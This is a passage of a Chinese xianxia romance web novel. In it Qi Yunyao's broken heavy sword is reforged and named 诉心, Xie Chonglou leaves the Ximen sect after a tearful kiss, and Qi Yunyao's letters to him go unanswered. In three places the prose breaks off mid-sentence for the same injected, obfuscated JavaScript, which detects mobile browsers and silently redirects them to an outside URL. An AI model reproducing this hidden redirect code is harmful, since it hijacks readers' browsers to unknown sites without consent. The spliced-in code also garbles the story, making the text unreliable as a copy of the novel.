当然这里的“没人”指的是祁云耀他爹娘,祁余天还是发现了的,但他浑不在意,只是在看见谢重楼回来后立即贴上去要同人比试。 祁灵昭也是第一时间找上门,叉着腰、气鼓鼓地质问祁云耀,出门去玩居然不带上她。可等他从怀里掏出那本精装版《霸道仙君爱上我?第四卷》塞到她手里,小姑娘眼底的不满与怨怼瞬间烟消云散,抱着书笑得眉眼弯弯,甜滋滋地喊了一声: “哥哥你真好!” 一旁谢重楼看着这一幕,心里莫名的有些不对劲。 越靠近西门,他就越忐忑不安。 长这么大,他从未不告而别私自外跑,一路上都在提心吊胆的,生怕一进门就被祁掌门与江驰先生严厉问责。 可祁云耀拍着胸脯再三保证,说他爹娘一定不会发现,如今果真应验,他本该松一口气、放下心来,却怎么也开心不起来,总觉得哪里怪怪的,却说不上究竟是何滋味. 日子一天天过去,祁云耀的伤势以惊人的速度好转。回到西门的第六天,他便生龙活虎,吵着闹着要谢重楼陪他一起练剑。 说来也怪,两人初见时,他背上那柄沉甸甸的重剑,自他卧病养伤后便被忘在脑后,许久不曾碰过。此刻翻找起来,才惊觉这剑竟不翼而飞。 祁云耀顿时慌了,大惊小怪地跑去问爹娘。 祁艳闻言淡淡瞥他一眼,语气平静:“你那柄剑,先前被小重楼那一击震得剑刃受损,一直放在东郊剑炉,等着你伤好之后,自己过去选材料修补吧。” 话虽这样说,可祁云耀却固执地撇撇嘴,在心里暗暗认定——他们一定是彻底忘了这件事,才这样说的! 去剑炉的路上,祁云耀的气就没顺过,嘴里还念念有词地嘟囔着:“肯定是忘了,不然怎么会放那么久都不管……” 越想越气,看见路边滚落的小石子,抬脚就狠狠踢飞,弹得老远。 谢重楼默默跟在他身侧,眼神时不时落在他的侧脸,嘴唇动了动,想说些什么安慰的话,话到嘴边又什么都说不出来。 他索性闭了嘴,目光落在脚下的石子上,悄悄把自己脚边的小石子一个个往祁云耀脚边踢,本意是想让他多踢几颗石子消消火气。结果祁云耀压根没注意脚下,被他踢过来的石子绊了个狗吃屎。 谢重楼:“!” 祁云耀:“……” 祁云耀趴在地上,半天没动。谢重楼想扶又不太敢,就站定在他身边。过了好一会儿,他才慢悠悠地撑起身子,偷偷拍掉身上的泥土,又顺手抹了把下巴,装作什么都没发生的样子,板着一张脸,再也不提踢石子的事,闷头往前快走。 谢重楼连忙跟上,两人之间的气氛变得格外微妙,一个闷头赌气,一个小心翼翼,一路无话,总算走到了东郊剑炉。 西门的东郊剑炉规模宏大,红砖砌成的炉身被烟火熏得发黑,远远就能听见炉内“噼啪”的柴火声和铁器碰撞的脆响。炉壁两侧的架子上,琳琅满目的摆着各式重剑,寒光凛冽,透着锋芒。 两人刚进门,就遇见了不少往来取剑的西门弟子,弟子们见了他们,纷纷拱手行礼。 祁云耀没心思寒暄,扯着谢重楼的袖子,一路往剑炉深处走,穿过前头喧闹的铸剑工坊,终于在最里面一间冒着袅袅青烟的小炉前,找到了此行要找的铸剑师傅。 那是个七八十岁的老头,脸上布满了沟壑,像是被烟火熏黑的老树皮,可他却长了一身结实的腱子肉,古铜色的皮肤泛着光泽,半点看不出年迈的模样。他行走时脚步如风,肩上扛着一块几百斤重的玄铁,在自己的小炉前健步如飞地搬运,放下玄铁时,地面都轻轻震了一下,看上去身子骨比他们俩个都还要硬朗。 祁云耀眼睛一亮,立刻快步跑过去,扯着嗓子喊:“江伯!江伯!” 江伯转过脸,眯着眼睛仔细端详了好一会儿,才慢悠悠辨认出眼前的人是谁。他当即哈哈大笑着,猛地抬起蒲扇大的手掌,拍向祁云耀的肩膀:“哎哟!这不是祁二小子吗?小胖子变瘦了,倒还真不大认得出来了!” 江伯的手掌又沉又有力,祁云耀被他这一掌拍得一个趔趄,身子晃了晃,多亏身后的谢重楼及时伸手扶了他一把,才没摔在地上。 他揉了揉被拍得发麻的肩膀,也不恼,仰着脑袋就急乎乎追问:“我的剑呢?” 江伯闻言,笑着摆了摆手,转身走向一侧的剑炉后边,很快就从一堆杂物中,拎出了祁云耀那柄缺了一角的重剑。剑身通体玄黑,泛着温润的哑光,剑柄处镶嵌着一颗深红色的宝石,熠熠生辉,衬得整柄剑既厚重又漂亮。 他用粗糙的手指,指了指剑刃处那道明显的豁口,随即抬眼看向一旁一直沉默伫立,没敢出声的谢重楼,声音粗噶洪亮:“小朋友,你力气倒是不小啊,居然能把我亲手打造的剑,都弄出这么大一个豁口来。” 谢重楼知道剑刃受损都是自己的过错,没有半分辩解,微微低着头,语气真诚地道歉:“对不起,我错了。” 江伯轻哼了一声,看似带着几分不悦,目光却冷不丁扫到了谢重楼腰间悬挂的那把剑,眼睛瞬间亮了起来,嘴里“哎哟哎哟”地念叨着,随手就把祁云耀的那柄残剑放在了一旁的石台上,搓着粗糙的双手,快步围到了谢重楼身边,方才的些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177163|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许不悦一扫而空,语气也热络起来:“小朋友,你这把剑,可是柄好剑啊!” 谢重楼闻言,没有丝毫犹豫,抬手将腰间的断不义解了下来,双手递到江伯面前。 江伯连忙双手接过,凑到炉火光线下,仔仔细细看清了剑身上的纹路,锻造的工艺,当即惊呼一声,声音都拔高了几分:“好小子!你这剑的工艺,看着分明是我们西门的锻造手法啊!是从哪儿得来的?” 谢重楼如实开口,语气恭敬:“是我师傅谢青传给我的,这把剑原本是我师傅的佩剑。” “谢青?”江伯猛地瞪大了眼睛,脸上满是惊讶,连忙追问,“那这把剑,叫什么名字?” “断不义。”谢重楼沉声答道。 “好名字!好一个断不义!”江伯当即又是一阵哈哈大笑,拍着大腿连连称赞,笑完才转头,又拍了拍祁云耀的肩膀,眼神发亮,“我想到用什么材料给你补剑了!你俩稍等我一下!” 说着,他也不等两人回应,脚步急促地转身,快步冲进了剑炉后边的剑冢。剑冢不大,堆放着的大多是锻造失败的废剑,也夹杂着一些西门前辈留下的残剑。 不过片刻功夫,江伯就风风火火地跑了回来,手里拖着一柄残剑——剑刃呈暗红色,只剩半截,剑身布满岁月的痕迹,却依旧能看出当年的锋芒,显然也是一柄难得的好剑。 他把残剑往石台上一放,扬着下巴看向两人,兴冲冲地喊:“看看!眼熟不?” 祁云耀连忙凑过去,皱着眉头仔细打量了半天,只看出这是一柄质地不错的残剑,却没瞧出什么玄机,刚要开口说“不眼熟”,却忽然发现,江伯的目光压根没落在自己身上,而是直直地盯着他身侧的谢重楼。 谢重楼上前一步,蹲下身,指尖轻轻拂过残剑的剑身,端详片刻后,又忽然闭上双眼,微微凝神感受。片刻后,他缓缓睁眼,轻声开口:“断不义说,这是它原本的样子。” “断不义会说话?”祁云耀惊得跳了一下,率先开口惊呼。 他的话音未落,就被江伯爽朗的大笑打断:“哈哈哈!可不是嘛!你这把断不义,我一眼就看出来了,是用‘不言’熔铸打造而成的!”说着,他指了指石台上的残剑,“你看,你俩关系这么好,干脆就把这‘不言’剩下的半截熔了,给云耀的剑补上,岂不是两全其美?” 祁云耀皱了皱眉,心里隐隐觉得有些不妥,刚想开口劝说先等等,却见江伯手脚极快,已经一把抓起石台上的不言,一甩便丢进了一旁燃烧正旺的熔炉里。 熊熊火焰瞬间将残剑吞噬,伴随着“噼啪”的轻响,不言很快便融化成一摊暗红色的液体,在静静流淌在模具里。 他又将一侧祁云耀的剑也扔了进去,两把剑彻底融在一起,没了反悔的机会。 两人回去的路上,祁云耀再没了先前那种不快,反倒凑在谢重楼身边,叽叽喳喳问个不停:“断不义会说话?” 谢重楼侧头看了他一眼,轻轻应了一声:“嗯。” “那我怎么听不见?” 他往谢重楼身侧凑了凑,几乎要贴到断不义上,满脸疑惑地眨了眨眼。 “只有我能听见。”谢重楼脚步未停,语气依旧平静。 “你师父、师兄都听不见?” “对,只有我能听见。”谢重楼耐心十足,哪怕被问得频繁,也没有半分不耐烦。 “那你是怎么听见的啊?为什么只有你能听见?”他打破砂锅问到底,伸手拽了拽谢重楼的衣袖。 “靠这里。”谢重楼停下脚步,抬手指了指自己丹田的位置,神色比刚才认真了些许:“我的仙缘是剑骨通玄,凭着这个,我能和剑交流。” “啊啊啊!你怎么能随便把自己的仙缘告诉别人!”祁云耀像是被惊雷炸到一般,猛地捂住自己的耳朵,眉头夸张的皱起,一脸不敢置信的模样,仿佛听见了什么天大的秘密。 谢重楼被他这副模样逗得漾出一丝浅淡笑意,语气随意:“这有什么?你又不会告诉别人。” 祁云耀闻言,立马放下捂住耳朵的手,继续追问道:“那除了我,你还告诉了谁?” “师父和师兄都知道,其他人——就只有你了。” “什么叫‘其他人只有我’啊!”祁云耀当即炸毛,伸手轻轻推了谢重楼一下,语气愤怒:“你要说,除了师父和师兄之外,只有我知道!” “好,除了师父、师兄之外,只有你知道。”谢重楼连忙顺着他的话说。 “哼!这才对嘛!” 25. 诉心 晨光熹微,初阳铺满西门演武场。 祁云耀一身利落短打,汗水顺着少年日渐紧实的脖颈滑进衣领,洇出一片深色水痕。这半个月,他每天天不亮就拖着谢重楼来练剑,一练便是一整天,惊得一众弟子包括他大哥小妹都看直了眼。 门下小弟子甚至私下开了赌局,赌二公子哪天会耍赖放弃。 第一天,祁云耀来了。 第二天,他也来了。 …… 一直到今日。 众人只能眼睁睁看着,他曾经圆润的轮廓渐渐变得利落分明,小腹上软软的肉平坦下去,个子也悄悄窜高了一截,原先合身的衣袍,如今穿在身上竟显得空荡又短了一截。 谢重楼持着木剑站在一旁,静静纠正他的姿势:“手腕太高,再低三分。” 祁云耀咬牙调整,目光却总忍不住往身边人身上飘,心头发慌。 “分心了。” 谢重楼的剑尖轻轻一点他的膝弯。祁云耀本就心神不宁,下盘虚浮,被这么一点,当即踉跄着摔坐在地上。 “为什么?”谢重楼低头问。 祁云耀别开脸,瘪着嘴爬起来,不愿回答,只强行凝神。 “为什么?”谢重楼收了剑,蹲到他面前,直视着他的眼睛,“你每天都走神,是不喜欢练剑吗?” “我没有、我不是,你别乱说!”祁云耀急声辩解,说完又像只鹌鹑似的,闷头不语。 两人正僵持着,远处传来脚步声,一道洪亮的嗓门打破了晨练的安静。 “祁二!你的剑铸好了!” 江伯连让人前去通传一声都嫌麻烦,亲自提着刚出炉的重剑拜访,足以看出他对这柄新作有多得意。 新铸的重剑比从前那柄更显沉雄霸气,剑身通体呈暗沉的赤红色,剑刃之上暗光流转,锋芒内敛却又慑人心魄,一看便知是柄难得一见的神兵利器。 散在一旁的弟子们顿时涌了上来,七嘴八舌地赞叹不绝,你一言我一语,满是艳羡与惊叹。 江伯却赶苍蝇似的挥手将他们赶走,半点不给众人细看的机会,径自提着长剑走到祁云耀面前,压低了声音: “你可别又第二天就把剑弄卷边了!到时候我非砍死你小子不可!” 话音落下,他还暗搓搓斜睨了谢重楼一眼,眼神里带着几分不言而喻的怪罪。谢重楼心下了然,不动声色地往祁云耀身后悄悄退了一步,企图躲在他身后以降低自己的存在。 “怎么可能!我定然会好好爱惜它!再说江伯您的手艺这样好,哪有那么容易损毁!” 祁云耀此刻满心满眼都扑在这柄崭新的重剑上,欢喜得不行,压根没留意到两人之间那点无声的暗流涌动。 “这次无论如何也得给它取个名字。上一回连个名号都没有,剑就先折了。我和炉旁几位老师傅商量过,兵器无名便少了灵韵,有了名字,便结下因果,自然也没那么容易夭折。” 祁云耀闻言皱了皱眉,只觉得这番说法有些玄乎,可身旁的谢重楼却忽然认真点头,轻声附和:“江伯说得没错。断不义有了名字之后,我才能听见她的声音。” 他这才郑重起来,低头沉吟许久,却始终想不出一个合适的名字。 蓦地,他抬眼望向谢重楼——这剑因其而断,又因他而重铸,再想起谢长泽曾说过,谢重楼向来习惯将心事藏在心底,从不轻易与人言说。 一念至此,他猛地一拍手,朗声开口: “那它就叫诉心。” “诉心?” 江伯一时没能领会这名字里的深意,只当是少年人随口取的字号,将重剑递到祁云耀手中,随意夸赞了几句,便转身回了剑炉继续忙活。 场中只剩下祁云耀与谢重楼两人。 祁云耀装作若无其事,眼角却偷偷打量着谢重楼的神情,满心期待着对方听见这个名字时会有什么反应。 可谢重楼面色平静,看不出半分波澜,反倒让一旁看热闹的弟子们品出了几分说不清道不明的意味,顿时嘻嘻哈哈地打趣起来,一时间气氛又热闹起来。 一月光阴弹指即过,谢长泽如期重返西门。 望见谢长泽身影的那一瞬,祁云耀心底的慌乱骤然翻涌得更甚,无论如何也不肯让对方给自己诊脉。闹了整整一个早上,东躲西藏,百般推脱。谢重楼又不敢重力抓他的,怕自己一个没收住力又把他捏伤了,谢长泽则是压根没那种敏捷捉住一个四处乱窜的人。 他历经一个月的特训,体能早就不似从前那样羸弱,你追我赶闹了一通。终是祁夫人在屋外听得实在不耐,一声令下,便唤来祁余天与江驰,两人一左一右死死按住他,谢长泽这才得以顺利搭上他的脉象。 指尖轻触腕间的刹那,他就明白这少年为何如此抗拒。 原因无他——祁云耀的伤势,早已痊愈。 自上次清巷一别,他便隐约察觉,祁云耀体内似有一股莫名力量被悄然激发,伤势恢复速度远胜常人。后来听谢重楼说,是花秽芳曾喂他服过奇药,他便一直暗中留意。可真正让他心惊的,并非这快得反常的痊愈速度,而是祁云耀痊愈之后,体内经脉通透,气血平稳,似乎并未有任何后遗症。 他心头隐隐浮起几缕猜测,可一想到花秽芳那臭名昭著、手段阴诡的名声,终究还是按捺住了思绪。 谢长泽闻声劝退了围在一旁的众人,屋内很快便只剩下他们两人。 祁云耀心知再也藏不住,鼻尖一酸,眼眶瞬间泛红,泪珠便悄无声息地滚落下来。 谢长泽见状,顿觉好笑,又觉心软,耐心地取出干净帕子,轻轻替他拭去脸颊泪痕,语气带着打趣:“我今日还当云耀是不喜欢我,才这般躲着我呢。” “没有。”祁云耀急忙摇头否认,眼泪却断了线似的,啪嗒啪嗒砸在衣襟上,哽咽出声,“我只是……只是不想,不想和重楼分开而已……呜呜……” “不想分开的话,直接告诉重楼不就好啦?何必躲着我,我可也会伤心的。”谢长泽轻轻擦着祁云耀的眼泪,语气温柔又无奈。 祁云耀闷声皱着鼻子,眼里还含着满眼泪花:“我说了他又不听!他一直想着回去!” “你没说,怎么就知道他不听?”谢长泽好笑地反问,又给他擦了擦鼻尖,随手将手帕叠好放在桌上。 “都是我找他,他从来都不主动找我!”祁云耀瘪着嘴哭诉,声音带着浓重的鼻音,“要是他回去了,这辈子都不会再来找我了!” “哎哟,你说话可真有意思,也难怪重楼说喜欢听你说话。”谢长泽忍俊不禁,语气里满是笑意。 祁云耀闻言,脸颊瞬间红了,抿着嘴,不好意思再吭声,只偷偷又抹了抹眼泪。 “重楼是很重情的,”谢长泽笑意温柔,耐心解释,“他一旦认定了谁,就会记一辈子。只是他得先确定自己是安全的,才敢慢慢回应你。” 祁云耀似懂非懂地抽噎着,泪眼朦胧地望着谢长泽,脑子里忽然冒出来一个古怪的念头,脱口而出:“那是不是……要是我亲他一下,他以后就会亲我十下?” 谢长泽愣了一瞬,虽觉得这类比有些奇怪,但细想之下,倒也贴合重楼重情加倍回报的性子,便失笑着点了点头:“嗯……可以这么理解。” “那你去帮我跟他说嘛!就说你还不想他跟你回去!你想他多陪陪我!”祁云耀干脆耍起无赖。 “不要。”谢长泽干脆拒绝,“这种事要你自己告诉他才作数,我替你说,重楼怎么知道你有多舍不得他?” 祁云耀似懂非懂地点点头,若有所思。 谢长泽一出门,他立刻跟了上去,打算第一时间去找谢重楼,把心里的不舍全说出来。 可刚踏出房门,就看见谢重楼静静站在不远处。 祁云耀心头刚泛起一丝欢喜,就见谢重楼径直走了过来,目光却没有落在他身上。 谢长泽脸上依旧挂着温和的笑,柔声开口:“重楼,云耀的伤已经痊愈了,你随时可以回剑庄。当然,你若想在西门多留一阵子也无妨,玩够了,师兄再来接你。” 祁云耀的心一下子提到了嗓子眼,紧张得指尖都攥紧了。 留下来,快说你要留下来—— 沉默蔓延了许久,他隐约感觉到谢重楼低头看了自己一眼,可等他慌忙抬眼望去,那道目光又早早收了回去。 谢重楼低沉的声音缓缓响起,一字一句,清晰地砸在他心上: “师兄,我跟你回去。” 一瞬间,惊雷在耳边炸开。 祁云耀再也绷不住,眼眶猛地泛红,失声打断:“你要走?!” 谢重楼像是被他吓了一跳,下意识避开他的视线,只从喉咙里轻轻挤出一个字: “嗯。” “你……你……”祁云耀喉间发堵,一句话也说不完整。 谢长泽也有些意外,眉峰微蹙,想伸手拉他再劝几句,却被谢重楼冷声打断: “师兄,我想好了。我想回去了。我想回家了。” “回家”二字落下,谢长泽和祁云耀都再没了劝说的理由。 谢长泽笑容微微勉强,轻声应道:“好,那你去收拾行李吧,师兄带你回家。” 谢重楼闻言,转身就走,自始至终,没有再分给身边的祁云耀一个眼神。 其实谁都看得出来,谢重楼收拾行李时一直闷闷不乐,动作慢得离谱,分明是在刻意拖延。换洗衣物拆了又叠、叠了又拆,反反复复磨蹭了一遍又一遍,半点没有归心似箭的模样。 谢长泽早把他的心思看在眼里,几次开口问他,是不是真的决意要走。到最后,更是直接点破:“云耀舍不得你,我也希望你再多留一阵子,不如你——陪陪他。” 可谢重楼次次都轻轻摇头,语气固执又坚定,只重复着一句:“我想回家。” 谢长泽无奈,终究没再劝说,接过他手里的包袱,转身出门去向祁掌门拜别。 谢重楼原本要跟着一同前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177164|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,身后却忽然传来祁云耀的声音:“你还有样东西没带走!” 他回头,眼底带着几分茫然:“什么?” “白白啊!你不要白白了吗?”祁云耀的声音急切。 谢重楼下意识看向门口的谢长泽,师兄轻轻点了点头,他便转身,跟着祁云耀往马厩走去。 这条路,两人走过无数次。除了最开头闹别扭的那几天,其余时候,他们总是开开心心地挨在一起,有说有笑地并肩前行。 祁云耀忍不住频频往后瞟,谢重楼就落在他后半步的位置,距离明明近在咫尺,他却觉得,两人之间像是隔着一道看不见,跨不过去的鸿沟。 再不做点什么,这道沟,恐怕就要变成隔开牛郎织女的银河,把他们彻底分在两岸。 牛郎织女尚有一年一次的鹊桥相会,那他和谢重楼呢?又有什么,能让谢重楼再回来找他? 他看着谢重楼弯腰,把白白从马厩里牵出来,心头猛地一酸——不久前,他们还一起牵着白白,在山野间奔跑玩耍,如今却就要分开了。 白白…… 对,还有白白! 牛郎织女靠鹊桥相会,那他和谢重楼,就靠白白! 若是把白白留在西门,谢重楼,不就会经常回来看它了吗? 谢重楼刚把白白牵到马厩门口,那匹马像是预感到了未来会过上这么凄苦无聊的日子,死活不肯再踏出一步。谢重楼舍不得用力拉扯,只能蹲下身,低声哄着:“白白,跟我走。” “白白不能跟你走!” 祁云耀心底积压的情绪,在这一刻彻底爆发。他猛地冲上前,张开双臂,死死拦在一人一马之间,用尽全身力气喊道:“它吃了我们家这么多饲料,早就是西门的马了!你要带走它,我不同意!” 谢重楼一怔,呆呆地看着他,语气带着不解:“白白是我的马。” “我不管!”祁云耀的声音染上了哭腔,带着几分无理取闹的执拗,“你想见它,就自己回西门来看!” 话说出口,他自己知道,这个理由有多荒唐,有多牵强,可这是他能想到的,唯一能把人拴住的借口。 谢重楼沉默地望着他,看了很久很久,久到祁云耀都以为,他会生气,会推开自己,会执意牵走白白。 可最终,他只是缓缓松开了手里的缰绳,轻轻把绳索放回马厩外的木桩上。 擦肩而过的瞬间,祁云耀似乎听见,他极轻,极轻地说了一句: “好吧,就这样吧。” 谢重楼转身,朝远处等候的谢长泽走去。 祁云耀明明已经得到了谢重楼会回来看白白的回答,可心口却依旧堵得发慌,酸得喘不过气。 下一刻,他像是再也按捺不住,拔腿追了上去,一把抓住谢重楼的手。趁对方还没反应过来,仰起头,轻轻又飞快人在他脸颊上“啾”了一下。 嘴唇只是轻轻一触便立刻分开,他自己都没来得及细细分辨那片肌肤是软是烫,眼泪就先一步决堤,噼里啪啦砸了下来。 谢重楼整个人僵在原地,彻底懵了。 他下意识抬手,摸了摸被亲到的地方,耳尖以肉眼可见的速度“唰”地烧得通红,连脖颈都染上了淡粉。 祁云耀哭得上气不接下气,把憋了许久的心里话一股脑吼了出来: “要是你以后……要是你以后想主动喜欢我了,你要亲我十下……两下也行!总之你要多喜欢我一点!听见没有!” 谢长泽把这一幕尽收眼底,整个人像被天雷劈中,外焦里嫩,呆在原地,终于后知后觉地品出不对劲来。 谢重楼捂着发烫的脸颊,整张脸都涨得通红,半晌才闷闷地、极轻地“嗯”了一声。 说完便转身,快步朝谢长泽跑去。 可跑了几步,他却像是终于下定了某种决心,又猛地折了回来。 语速快得几乎让人听不清,却一字一句,格外认真: “其实……如果说是回来看你的话,也是可以的。” “再见。” 最终,师兄弟二人还是离开了西门。 谢重楼走在山道上,手仍不自觉地抚着被亲过的脸颊,那处的热度迟迟没有褪去。心底翻涌着他自己弄不明白的复杂又酸涩的情绪。 谢长泽侧目看向他,虽方才被吓得不轻,依旧温声问道:“舍不得吗?” 谢重楼摇了摇头,又点了点头,没有作答。走了几步,他忽然开口:“师傅在剑庄吗?” 谢长泽不解他为何突然问起谢青,还是耐心答道:“师傅一直都在,我来找你时她还在闭关,说不定你回去,她便出关了。” “我忽然有点想她了。”谢重楼轻轻吸了吸鼻子。 谢长泽没再多言,只长臂一伸,揽住了小师弟。 夕阳将两人的身影拉得很长很长。 而西门最高的城门楼上,有个少年身影,始终立在原地,望着他们离去的方向,一动不动,直到夜幕彻底笼罩下来。 26. 书信(捉虫) 祁云耀不喜欢冬天,因为冬天太冷。可他又偏偏喜欢冬天——因为他和谢重楼,就是在冬天遇见的。 他喜欢春天,喜欢冰雪消融、万物复苏,可他又讨厌春天——因为谢重楼,就是被春风吹走的。 谢重楼走后的第二天,西门的一切都像是变了模样。 睡前再也没人和他说话,夜里也不会有人抢他的被子。早晨没人再陪他练剑,吃饭时,也不会有人心软,帮他把青菜吃掉。 他觉得奇怪得很,明明前十几年都是这么过来的,怎么就因为一个人两个多月的陪伴,便怎么都不习惯了? 最初那几天,祁云耀甚至生出一种幻觉:是不是谢重楼这个人,根本就没有存在过? 可诉心还在,白白还在,架子上那一堆被他们玩了个遍的小玩意儿也都在,一桩一件,都在清清楚楚地告诉他:那个人,是真的来过。 心里空得厉害,难过得发慌。 无聊了可以去找白白,去找小妹;练剑可以去找大哥;不爱吃的青菜,也可以趁祁夫人睁一只眼闭一只眼,悄悄塞进同门的碗里。 可怎么做都不对劲,哪里都不对劲。 心脏像是被谢重楼顺手掰走了一块,留下一个空空的洞。风一吹进去,回荡在里面的,全是谢重楼的名字。 “其实我真的觉得你现在很恶心——”祁灵昭忍无可忍地开口,“原先你又胖又圆,哭起来还勉强算可爱,可你现在这么一长条杵在这哭——真的巨恶心。能不能从我的房间出去?对我的眼睛不是很好。” 祁云耀坐在她对面,手捧着《霸道仙君爱上我》同作者的另一本书——《为了躲避清冷师尊强--制--爱的我被迫成为灵王大人的契约娇夫》,哭得肩膀一抽一抽,伤心欲绝。 他抽噎着,完全无视祁灵昭的控诉,一门心思沉浸在自己的难过里。 “要是我和重楼,以后也落得这样的下场——” “打住!”祁灵昭一把夺过他手里的话本,随手塞进自己的小书柜,眉毛翘得老高,嘴角撇出嫌弃,“我算是看明白了,你天天往我这跑、找我说话,根本不是念什么‘兄妹情’,就是没人陪你说话了而已,对吧!” “我好想他啊!我要去青云剑庄找他!”祁云耀猛地站起身,抬脚就要往外冲。 祁灵昭压根没理他,自顾自翻着手里的《鲛鱼传之仙宗少主不恋仙偏要养条深海绝色人鱼》,语气满是不屑:“去吧去吧!等爹娘要打断你的腿,我就在旁边喊加油,喊得比谁都响!” “你真的一点都没把我当哥哥!我现在可是难过得要死!”祁云耀又气又委屈,厉声控诉。 祁灵昭满不在乎地耸耸肩:“那你是要接受我的‘心意’咯?要是接受了,你对重楼哥哥的感情,是不是就不就不够忠诚了?” 祁云耀瞪圆了眼睛,手指着她,气得说话都打颤:“你、你说的全是歪理!” “我管你歪理正理!” “滚啊!” “要滚也是你滚好吗?这是我的房间!轮得到你赶我?” “好啦好啦,别吵了别吵了!”祁余天蜷在房间角落,看看怒发冲冠的二弟,又瞧瞧满脸不屑的小妹,一张脸皱成了苦瓜,心里满是苦水,“你们再吵,我就去告诉爹娘了啊。” “你去啊!谁怕谁!”祁灵昭更不屑了,嘴角撇得歪斜,眼睛上下扫了他一圈,嗤笑一声,满是鄙夷。 “只会告状,真看不起你!”祁云耀也跟着附和,抱臂站着,一脸嫌弃地瞥着祁余天。 祁余天默默低下头,肩膀微微耷拉着——他早就该想到会是这个结果的。 哎—— 这么一闹,原本剑拔弩张的两人也吵不下去了。 祁云耀满肚子委屈,巴巴地坐回自己的坐垫上——准确说,是他先前强抢来的坐垫,嘴角一瘪,又开始掉小眼泪。 祁余天一见他这副模样,无奈地抹了把脸,哀叹一声,假装没看见,低下头自顾自吃着灶房送来的糕点,眼不见心不烦。 祁灵昭抬眼瞥了瞥二哥,见他哭得凄惨,活像话本里被强取豪夺后又遭抛弃的小娇夫,终是软了心肠,声音闷闷地开口: “你要是实在想他,给他写信不就行了?你不是有只偃甲鸟吗?写好信托偃甲鸟送过去,多大点事。” 祁云耀的哭声猛地一顿,泪眼朦胧地抬眼看她。一旁的祁余天也连忙点头,嘴里塞得满满都是糕点,含糊不清地附和:“对哇~你给他写信,不就好啦!” 祁云耀看看大哥,又看看小妹,心里莫名多了几分鼓舞。 他一把抹掉眼泪,噌地站起身,熟门熟路地翻出祁灵昭的笔墨,又走回桌边,大手一挥,直接把祁灵昭摆在小桌几上的话本、画册全扫到了地上。 不出意外收获了一个大大的白眼,他却半点不在意,仔细将信纸铺平。 心里明明攒了千言万语,想说的话堆得像山,可真正提起笔时,笔尖悬在纸上,却一个字也写不出来。 “先写个开头啊!”祁灵昭凑着脑袋凑过来,皱着眉催促。 “好!”祁云耀立马应下,提笔刚要落在纸上,笔尖却又顿住,转头一脸茫然地问她:“那我该怎么称呼他啊?” “你心里怎么想就怎么写呗!”她翻了个大大的白眼,满脸不耐。 “可……我们还不是那种关系。”祁云耀脸红彤彤的,语气里带着几分别扭。 “那就写挚友!” “好!” 祁云耀点头,落笔在信纸上,一笔一划写下“挚友重楼,见字如面”,刚写完这八个字,笔尖又僵住了,再次卡了壳。 他带着满满的求助看向祁灵昭。祁灵昭故意别过脑袋,语气敷衍:“你怎么想的就怎么写,想他就说想他,很想很想就写十遍‘我想你’,多简单。” “懂了!”祁云耀眼睛一亮,又低下头,握着笔唰唰唰地写了起来。 祁灵昭好奇地想凑过去偷看,却被他投来一个凶狠的眼神,立马缩了回去。 祁灵昭瘪了瘪嘴,气鼓鼓地坐回自己的座位,心里暗骂他是个白眼狼,再也不想理他。 信写好寄出,看着那只偃甲鸟“姆嘎姆嘎”地拍着翅膀,往青云剑庄的方向飞去,祁云耀心里空落落的地方,似乎终于被填满了一小块。 从那以后,他日日等待,日日写信,满心满眼都盼着偃甲鸟能给他带回来自青云剑庄的回信。 一天过去了,偃甲鸟没有回来。 两天过去了,偃甲鸟依旧没有踪影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177165|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 直到第三天傍晚,偃甲鸟终于扑棱着翅膀飞了回来,可它的肚子里却空荡荡的,什么回信都没有。 祁云耀急了,把那只可怜的偃甲鸟翻来覆去检查了几十遍,连羽毛缝都扒开来看了,依旧没找到半张信纸。他心里不由得泛起担忧,难不成,自己写的信,压根就没送到谢重楼手里? 来不及多想,他立马翻出这几天写下的好几封信,一股脑塞进偃甲鸟的肚子里,又小心翼翼地叮嘱了几句,看着它再次飞走。 又是漫长的三天过去,偃甲鸟如期归来,可它的肚子,依旧是空的。 恰逢肖严谨来给祁灵昭送新话本,祁云耀像是抓住了救命稻草,立马把偃甲鸟次次空肚回来的事说了。 肖严谨闻言,脸上露出一言难尽的神色,支支吾吾半天不肯多言。被祁云耀缠得没办法,才吞吞吐吐说出真相—— 他改造的偃甲鸟,必定能将信件送到目的地,祁云耀收不到回信,纯粹是谢重楼没给他回。偃甲鸟送完信会在原地等两天,若收信人不回信,便自行飞回来。所以,那些寄去青云剑庄的信,定然都送到了谢重楼手上,只是他不愿回信罢了。 